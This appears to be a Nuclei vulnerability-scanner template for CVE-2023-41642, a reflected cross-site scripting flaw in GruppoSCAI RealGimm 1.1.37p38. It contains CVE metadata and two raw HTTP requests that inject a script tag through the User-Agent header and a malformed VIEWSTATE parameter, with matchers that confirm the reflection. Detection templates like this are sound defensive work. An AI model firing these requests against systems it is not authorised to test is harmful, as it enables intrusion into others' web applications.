id: CVE-2023-41642

info:
  name: RealGimm by GruppoSCAI v1.1.37p38 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Multiple reflected cross-site scripting (XSS) vulnerabilities in the ErroreNonGestito.aspx component of GruppoSCAI RealGimm 1.1.37p38 allow attackers to execute arbitrary Javascript in the context of a victim user's browser via a crafted payload injected into the VIEWSTATE parameter.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41642
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/f7aafa9fcd4efa30071c7f77d3e9e6b14e92302b/CVE%20PoC/CVE-2023-41642%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41642
    cwe-id: CWE-79
    epss-score: 0.00068
    epss-percentile: 0.28587
    cpe: cpe:2.3:a:grupposcai:realgimm:1.1.37:p38:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: grupposcai
    product: realgimm
  tags: cve,cve2023,realgimm,xss

http:
  - raw:
      - |
        POST /RealGimmWeb/Pages/Sistema/LogObjectTrace.aspx HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: </span><script>alert(document.domain)</script>

        __EVENTTARGET=T1bPulsantiera&EVENTARGUMENT=TlbPulsantiera_Item_0%3AUP&___VIEWSTATE='TESTING&LeftArea%3ALeftMenu_hidden=&T1bPulsantiera_CancelClick=false&TlbPulsantiera_hidden=&cbUtente=&txtDataRichiestaDa=&txtDataRichiestaA=&TopArea%3ATopMenu=
      - |
        GET /RealGimmWeb/Pages/ErroreNonGestito.aspx HTTP/1.1
        Host: {{Hostname}}
        User-Agent: </span><script>alert(document.domain)</script>

    host-redirects: true
    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<script>alert(document.domain)</script>'
          - 'Invalid_Viewstate'
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

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